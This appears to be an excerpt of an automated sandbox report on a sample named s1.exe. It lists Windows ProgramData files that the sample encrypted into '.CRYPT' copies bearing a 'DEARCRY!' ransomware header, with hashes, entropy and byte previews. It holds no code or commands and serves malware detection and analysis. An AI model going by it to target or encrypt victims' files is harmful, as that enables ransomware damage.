                                                              SSDEEP:3:WttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkU:Yy
                                                              MD5:B9FACF9045F5B9C25F58513AF5E289B0
                                                              SHA1:1EC67D1619A61A6FE5C4A0FA4DFB345C0A05AC6D
                                                              SHA-256:ADDA30A5210DFF2C00E1A6B8C611D7E059C2D52EFCF060653073BB823602251B
                                                              SHA-512:9742CE5743E9B62D49A02F245309C31F0B99731738FE391FF8F9D8D04125632CC912C3AEAA4BEA44A5FF16A3552752966D76671F69734AC25DF7C035AC547909
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):127600
                                                              Entropy (8bit):7.998356320905465
                                                              Encrypted:true
                                                              SSDEEP:3072:bcK0NXA9NopZzehRr9lTXJ3v5CYeUWWphVOQMUAQKmUMNCGpbXN:gKiDzw5f79v5Wr2VfzKwT
                                                              MD5:194169D21E48FBA8480CE2B6F729A281
                                                              SHA1:D68E941567958B73D1F478A30A073A421A3EDAB6
                                                              SHA-256:92A166BFBA92F66C5B853200953C268E3D6F82D048D2F14982120E58374FE331
                                                              SHA-512:EC47B940E0230FD6E224F27C982E47165E1EF82FCA466B903322AE40D164B0EC64CE505C3042D902162E9AA78216E5C5F2B3110789F91A5E48F2EB4757B3077F
                                                              Malicious:true
                                                              Preview: DEARCRY!....2..~.......C.L...dcZ..!.:,..E.`.<\4.E.....V...Hf..j.~.Tr.Seig.....H..J....1...........*.B.b.5r...=.........C..`...o;..ux........ .h..u?.l..#._..w......b.[.b....n%.XUjc...sj..6.US&.Jp.......[J...Y..l..Emr=.$P..L...H.:.o...."..a..$...vh+..l6I............0......1.......hv.`1.0.3.....8U.@1..1ah...]b....E.$.:,p>.~...FM.. .<......>.V...Y/v...~..H....B..Ub.<::.h.\t..&.s..Z..f.).AG'rA..mMm..#....z].ip..qTp..C9..&...Y.b..!#.q_8..oy.2....gT.+.W...g>y...Ll.>.h.uj'vB.*.......L..=..u..3....D.XbI......?[.^.....g...<..|F.....{..i../e.8:..N...(k.d?...7..T.<~i.rI.=..v<.?.tx.i]L&..............v..|.`....G..wTV...N...}q ...AR.=.......o..U.\.C=].e..O......5...... Vb....=t2^.f./....w...~.pjR..8.F.U.<.YC.3 ..e..4P...x...........O...L.4..ldu.o.lV%K.2..[r{.g...n|.Qd......d.....|...Y....9.....$..[.......L[.+.......z..f.&.u......OV(.7...].m....{....W.U..:SD.s...J.......M..#.&..1.....I.M.[..K..k4}.(9H.$6...3.I.|Q...%.....e.[..LsS..?..j~..:...s[...Zn...L.
                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):14417920
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkw:Yu
                                                              MD5:ED161C7EC4EDEE090ACDC358B9DBA27D
                                                              SHA1:187698F5ADD97F93107336430DEE9998DBF179D9
                                                              SHA-256:4EDB9ACF0F1A8D76881A5BD2F02A77C49E1010216F9305FB58E966683E10C2AF
                                                              SHA-512:BC428F786923EDDD2DE5594A0E8F6203BB0876F0597C3DA92AF9ACB6200B7ACF66CD0C108B7E55B837C9DD898C6F83958326BDF025DED6B4328A1DC272845621
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):14421176
                                                              Entropy (8bit):7.999988129080465
                                                              Encrypted:true
                                                              SSDEEP:196608:Z0ytgguf8dhJ+Al6x7hNeWG/WAWBK/NeXMYcNBhn50NhvuRN0r5VkUI6TGNvRUyW:ZBTufcQo/B/Ne7E0A70TlxTGNB+TSyl
                                                              MD5:93C94F036826179B3AA7469CAE0B6CB7
                                                              SHA1:09F0910556C9F5771EC16DF07E62DF0E2DB9E69E
                                                              SHA-256:4A79C27D1A4F9F634B166C2C6267BCACC3D749DA3CB126115BB180AB8F94E86A
                                                              SHA-512:9CDE590E7A68611DF9BAB8E0C9135C5DC046BE12FD87649F913F7323A1CBCC418B1472DAE70F6DB70E71233CB0431E2403E8C4321DC8711636F9DBAD2F8B5942
                                                              Malicious:true
                                                              Preview: DEARCRY!....C..F..f,~.?....t....1b]eVX.}.g..o.!S9Jb]_... ...1Yv...kM`........./.M..Q.|+@..i...7...E...mlDr....j#.O{..`...y+....Wm...`XL.R.....=#F.c.`.v.2".C.\......U.c&/B.5cY.9......334.q}.,.<~....._,..%.W.w..8#..[.......e..H.....k..s.....5."}.%m[)Sl.C.E...............X...c.*4.E.....h.$.G...Q..Ks3.T.(.M...]....\. /:....BKN?\..(.wcN[..(...%...--s....XI..m..6.".7&...P...v.5r.w..M.y&CW......Y.bS.a....8......L.thM...\H..@.$.........m...=..:...G....`O=.%%..#.\...&..lll..m,^.p.Z..L.h....W..ANc.-]..v.n$..w..........N.;...J)q...7..y.'..d5...*....!4.........&...Q2.........&.S.l..C.`..:/...j.c)R...v.!.[..k.....{/c..>.S....\....~....=.....Mr.u..%. .i....(.b....O....I..T..^.e."..y.,u.....j...$..PH.....>.G(.?..k...jU3....<8.aC.....W.:.{.....9.be.6m.D.A.Q..5..<.3.}.bG.h..I.....".k...k>r..;...<.V.;..."e...y...$...Vjk'?.u.&.k.n_.w..:4...& .._..u..n9.F"...iZ;@...!r...oC..s#....%TSfk.......* ......&+p!.........7...9V.u{g....u}..U[.}\(....@j.F.<.Q..c
                                                              C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1310720
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkw:Yu
                                                              MD5:ED70F35C3696BB5CC695413D92911D36
                                                              SHA1:D788F956C66DC3C2DFCCBCD6344096B5DD3E6B1D
                                                              SHA-256:8CAF8BA097A2A2B4D9091C9AB1F2BC928A5D4045ABA1C10755B21CE1A158ABB9
                                                              SHA-512:C5802AB4C443CD24159383397CFB8D0DBC903A6374A885EEFAEBC01973A57C681AA6DE722348CDD31DF0AEFAA57622DC24118276F44F07030614E8D2021FB10D
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1311016
                                                              Entropy (8bit):7.9998639505742775
                                                              Encrypted:true
                                                              SSDEEP:24576:eZrHty7cTCSCYGArx5/vDGPrKo4hBXrGGvnmwTBwLetS0fY:elHt9TCHN2l11/PjTn8oY
                                                              MD5:537897567ACA5BE1015D96F0D6A96D80
                                                              SHA1:E91344A966C09A342743C5F98B693B5799FC72B3
                                                              SHA-256:936CF7E6027A1FFAD8E2FB0C003C001C3C0F74D55634AECA4922B55448FBA77A
                                                              SHA-512:6E9B970BEA83A7BE4621AFA03095E3C7B6C79D0ED80B0661802A3C240F184FF8B1966EFB835610731E1AED327DB3E993C444DC09A37DB9B003CDF99EA418C447
                                                              Malicious:true
                                                              Preview: DEARCRY!....8..`.........?Td-.F..(mH..yCj!=x...Oi.t.T.%.2.e.:$R%..o....&Ta.I...=..mJ>9.......E......x...TG......k.y.9.t..8....]..Gxd..=.Ce...?..M.....G.9......B..!.b..V.....U.+.n)2.....s.....R....pg.........G:H....-...2~.'.U.+T...$..#..D ..uf..yK....G..{..r...............3@...Z.*..t..3y%...E..r.2.......H.m.]..4....Z.>..Q....D4...4tX.6*z.s...u...Lq.:.%`#....|6.;.%!.Q.....b...l......r.m...r.....W?D.....BW~..:8.n...H.%..%..~.S.c.......rH....I.e.-+.4....|Iz..&*bOWe./.....Wj..6g...r{.....Ne,l.jy......40...A..O*_..R......._5.....m:..0.^..(.@Lz.........5........."..w...NO5,..I..w.r....r........g.n....,....6.~.....l2.}.#...5.X.2.{!q...B%..MC..'....__.....>.%.....J$8y>v.........u......)...y....,.Si...qV.}.lE..2......LbIH%3....U....`u..... .b..c/_s4.....3H.n...@.....;g.. ..a5nI...gl.~..........-By..e..`c..@.A._....m.6"....lY..Q..e.T../..u:z0P..5r&.[..Z.7..c......(.Fi.....O..l...Y..<..P......-T)....9,H...)ct.@...H.*...O.V...A..N.y....(B..........o.....
                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8650752
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkw:Yu
                                                              MD5:CC00A5454E5B5F977862CEBAE06811CE
                                                              SHA1:A1A5E05D4A90F03527D2DDE5C27A72C7D12033C8
                                                              SHA-256:EECF818E95CAAB4425D30FB44C637E7F8845012856FC2ADF779819662648A92A
                                                              SHA-512:039E4BC926CD4F2B5D2B610B7329A369810805496BAA52D83CBE5BEE1D26C2826D259C4F4D801B6DC3D1199DDB271D5D89D3159F3400989A2F30285EBFDFAFEC
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8654008
                                                              Entropy (8bit):7.999980294305627
                                                              Encrypted:true
                                                              SSDEEP:196608:KMpS1kbHdPBgN/w8qNxjp5prmB9IywL2TehBFRNXCqM:jSahPWzAxjp5xm3I/WcB/NSqM
                                                              MD5:E6A7F2EEA73E9478E8328CC2EE55E91B
                                                              SHA1:C1DF297DD6B32AE5631106633BCADD116A4CBE6B
                                                              SHA-256:F1610E05AFE451311A7556E50E673FDAA443ED7439F2ED9ED85B687709456DF0
                                                              SHA-512:8D3EABAB382E02668348F3B5B191C6A35B0D9742075F574C196041A90E54FAB447381A9AEB65A6BFACC4C91F391177C89DDE95B08E298FCB276B339F5237CB34
                                                              Malicious:true
                                                              Preview: DEARCRY!........vi ...%._..;..,.u...@..fa.4.5.{......*..T........'X..@.e.!..h..U.p.H..Z.c&Ecl._......,.C..q..j..;.\J.\.h.?..T...tN..G.f5]y..L.*=%...... .U._...+.>9).....G.....Q........ GW.'.j.s....S.....%|(....%.h.;.v..X9..^....@Xc.....x.s.....m..L..................X.).......qn.....\Nm..p.u.)....W.....A)c:.mC..\...6W8v.p..80T,. ,..V..)....LE.. ^.d..R...z..-..... s...h.`Tx...I@.......A#...Xi}t..KY]5m4.v...R..G...\W..8..C=1...?Qd..?.tMz..^4.......L..'*........}a. .N.uB....p.I....AT...o.M...... ...M.....1....u$.9.<....b&.....I9[..........ut.a.y..g.... .L.....C.....W.&H^B.|.l.....[.hB.}#.....D.0...v."e...r...n\.w"2Gp.....G=...1.......K.........5...q..9..'.v..j.......N[.N6...\.J....I....H.zX...$...<...l..U.jtf...4'C.....q.l?...N.s-*VQDa..^..S.d...;{\.....t(...bM#......*.C..jkU.;3..+.mhI.v$...h...]E...":k.......5F......rT.....mD0^..s...;.....0K.~c.~o..).*..hx".u.......g.-l]:..z-....M.<x5...`i.....k......... .!..zm....CA..s.P.2..I...).]...Z
                                                              C:\ProgramData\Microsoft\Provisioning\Microsoft-Desktop-Provisioning-Sequence.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4313088
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkw:Yu
                                                              MD5:EF71AF8B95C3D5AFDDC96AEFC5B705C9
                                                              SHA1:29879F4682DC923C683DB6CB19EE92EC965B783E
                                                              SHA-256:89E860F25C7B8A6131E8D211D75574CA5BDA38DF85B69B72EB710D63F47DE38A
                                                              SHA-512:9FA709A620BD119C24A1CA0AF901B8BB5808A129A746DFC3906D7712BB2BC7CBC04A9A6AB8DF4A45A35B1B1B50983686D45A41BCD1F1577D23FDA07A86E05A46
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\Microsoft-Desktop-Provisioning-Sequence.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4315752
                                                              Entropy (8bit):7.999961922624435
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:9F6868997E7D9B8346C17E4B3A19E106
                                                              SHA1:B7FECA9D0A07F2AB1C17A0A206EF121073E938C9
                                                              SHA-256:2C72FB84AC1231788916A6270A791A630AAE47D0862051C1C91E4EA8119703C7
                                                              SHA-512:04E0B44872264C2C3A41DEEA7C822BDFA80A16BFC57E502CFDF127CD45A155420A35F50E88F2EDF145F8BACBDE4CB11FF70A1C3A6B1CDB96FA2ED71B88361650
                                                              Malicious:true
                                                              Preview: DEARCRY!....e..6.g.].i...s..k...y.O..a....ioJ\.9.....9...ge...N...\S=m...#..,.K^f.nb.g........Y=..xL...2.......Li.....bN/...0.y"......a..Vdc..?.t=._.!3Ta.E..U..b3..Y... .&.bq.......),.Vqw..O.>N..4C... ...m...B.Y....'._..}..n.Y..%.*.......<..`30_P.B.!.X..._......P........2..DO.....K..).<..-...kh.....6i....a..u..bG.D.......%h.I............3....b..:.^n.1...6[...$`..S.U,...fV..>r..'.I./.Y..\...~GLxX..n...]...t.....#fK.6t.H.q.34G.,.>>..PT..i....\.+.....a...F..F.y...X.!..M..).7....|..w.;9.M.q..........9WB..!.Y.:lu.C+.k...`..!.no...../4h..>'<..y.....*(..M...LB..m..iSc..qM.vhl) .L.TX.(.\R...a<.M..1K=Y.,.........B{r.....+...M...Id.@.%...R.E......Ud .^/.]....ma..X.....ek.U4.;G....5..L..G.?f..0...........Pw..##....G.4.U0v .ZE.........Ao..0.U.#.m.VC`+.d....@aA)FS...mQx..Y.Xw.\..6..S9.V..G4+n8............Un.J>..@..H.0U..j...l.m./yrvj....q.c!.@.s..E..u...g.....C.%P?r.D....b..c....v..Y....<.*n.....\......".......G.k.C....&3!.by`...... ....p./.l..].fr..2.
                                                              C:\ProgramData\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.558011179205275
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2F2C4A87810CD7D2B19058DF18649AAF
                                                              SHA1:F3FF6C8E7A6E91E6CFC6E459708653FBD844C462
                                                              SHA-256:8F759CC78652CC05F0E7CF84E139834C640B1F9CECD9DC16FF4D9B3C0C75D591
                                                              SHA-512:D93BAC441E8ED94D97D3F6FBE45386D66D00D096519E22B52107F122418DB4E24DE531DEBCC2AD1D908E7D1F6D2C586A928851C0442A150BA5DE7C56615B5AB0
                                                              Malicious:false
                                                              Preview: DEARCRY!.....m.j......|^.K..$..^.]V...9...N..v.~.l,46....dQ. ....z/x..#..j.~...A$.S..N.%..I.l|.k^$RXG)Pv7.4._.w..g........ .83....'.[.7.d.<G..\...#...L].........c.r-,._a..pv....".%..:..i}.]&..j.l..@...W...Q.MV....<..b.y..z6.Kpy....t"..7......A..W.....P)...u..../................_...9.^.o.(.v`..ZE.'.`.v'U... .......+.L..:..#.s^W...C^......K.....J.2....K.6....4.H.EEQ'.k...$....y.........~....^.t..<../t.'........?....1:..g@M7...%--..Y=.......;..z........Ls0.W...>.lG....(.Y_!)..5.'.@u#v.1.oU......~F..E...gTr.=D.j..;l..n.p....c.I7.9....
                                                              C:\ProgramData\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):579
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:19A2D9DD13AE689A08D7A128C5925A02
                                                              SHA1:BE2AA5EDD9F5E8461E43F059B63F4F352932D2CB
                                                              SHA-256:0FFF5E20DCD793A5FDF9E590B58CFB553521EEE3E2EB1436B7279569A2BD5FBD
                                                              SHA-512:736F813C4D4EA0DA574C766B04D4F699D08404CC252345787F796A897B5FA90EE6897C1C7FA65033472B2652721A21621C9BE1C8DC3C76599B6758BEEBFBEC4B
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
